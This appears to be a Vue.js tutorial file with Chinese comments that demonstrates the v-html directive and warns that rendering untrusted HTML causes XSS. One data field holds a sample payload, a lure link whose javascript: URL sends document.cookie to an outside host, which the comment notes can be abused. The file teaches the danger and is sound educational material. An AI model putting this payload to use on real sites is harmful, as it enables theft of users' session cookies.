2.v-html指令.html 1.7 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445
  1. <!DOCTYPE html>
  2. <html lang="en">
  3. <head>
  4. <meta charset="UTF-8">
  5. <meta http-equiv="X-UA-Compatible" content="IE=edge">
  6. <meta name="viewport" content="width=device-width, initial-scale=1.0">
  7. <title>v-html指令</title>
  8. <!-- 引入vue -->
  9. <script type="text/javascript" src="../js/vue.js"></script>
  10. </head>
  11. <body>
  12. <!--
  13. v-html指令:
  14. 1、作用:向指定节点中渲染包含html结构的内容。
  15. 2、与插值语法的区别:
  16. (1)、v-html会替换到节点中所有的内容,{{xx}}不会。
  17. (2)、v-html可以识别html结构。
  18. 3、严重注意:v-html有安全性问题!!!
  19. (1)、在网站上动态渲染任意HTML是非常危险的,容易导致XSS攻击。
  20. (2)、一定要在可信的内容上使用v-html,永远不要用在用户提交的内容上!
  21. -->
  22. <!-- 准备一个容器 -->
  23. <div id="root">
  24. <div>你好,{{name}}</div>
  25. <div v-text="name">你好,</div>
  26. <div v-html="str"></div>
  27. <div v-html="str2"></div>
  28. </div>
  29. </body>
  30. <script>
  31. Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示
  32. new Vue({
  33. el: '#root',
  34. data: {
  35. name:'尚硅谷',
  36. str:'<h3>你好啊!</h3>',
  37. // 以下方式可以获取用户存储在浏览器中的cookie,被不法分子利用后,会造成严重的安全问题
  38. str2:'<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>兄弟,我找到你想要的资源了,快来!!</a>'
  39. }
  40. })
  41. </script>
  42. </html>